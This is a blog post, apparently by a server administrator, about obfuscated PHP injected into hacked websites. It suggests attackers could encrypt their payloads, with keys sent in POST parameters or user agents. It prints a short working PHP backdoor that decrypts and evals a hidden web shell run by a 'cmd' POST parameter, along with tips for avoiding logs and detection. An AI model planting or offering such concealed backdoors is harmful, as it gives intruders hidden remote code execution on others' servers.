ENCRYPTED MALWARE PAYLOADS

Recently, I was reading an article on the recently discovered hacker group dubbed the Equation Group[1], I stumbled across an interesting concept: encrypted malware payloads. Most server admins will inevitably have the experience of dealing with a comprised system, especially if you host sites running WordPress[2][3], IPB[4], vBulletin[5], Drupal[6], or a host of other systems which tend to exhibit a high number of easy to remotely exploit vulnerabilities (sometimes in the core software, more frequently in plugins). I've dealt with a number of compromised sites, analyzing the PHP that was injected into them.

Typically, what I've seen and what appears to be common, is an obfuscated payload, using base64 encoded strings and the `eval()` function (which executes a string as PHP code[7]). These are easy to spot (malicious PHP code normally is) and easy to de-obfuscate, determining the purpose of the code. I recently went through that process on a newly acquired client's site, discovering that the payload was a spammy backlink page designed to improve S.E.O. for target sites by injecting links whenever the Google bot requested the page.

It’s now occurred to me, that hackers & spammers would be better off encrypting their payloads in situations like this, but I almost never see that for some reason. There are three types of common hacks: hackers inject some sort of control panel that lets them do all sorts of things like read the file system and run arbitrary commands/code, spammy backlink pages like I described above, and “other” hacks like defacing a site. The first two are highly targeted attacks that may be suitable for encrypted payloads. The key for encrypting the payload is the key must somewhat difficult to determine, so it has to be external.

In the first case, you could use a random POST parameter to supply your encryption key. POST parameters have the advantage that they are rarely logged. If your code is run on every page, you could simply to a non-suspicious POST to some arbitrary page (e.g. the home page, or for even less suspicion, a page with a form on it).

For targeted attacks like SEO pages, you could use the user agent. While they could be pretty easy to determine, it does make the process more difficult and tedious.

Of course, encrypted payloads will stand out just as much as base64 encoded payloads, but at least their purposes would remain a secret. Here is an example:

```
<?php

eval(openssl_decrypt('V1MrPqUg83vX83Hc6qgIYnhXFB3T971/9ZGj6RIYG/8=',

'aes128', $_POST['key'], 0, "0123456789ABCDEF"));
```

This takes a password from a POST parameter named `key`. The decoded payload simply runs `eval()` on the contents of the `cmd` POST parameter. You could get more sophisticated and fall back to mcrypt if openssl isn't available, maybe even include a pure PHP library.

Source: http://brandonwamboldt.ca/encrypted-malware-payloads-1630/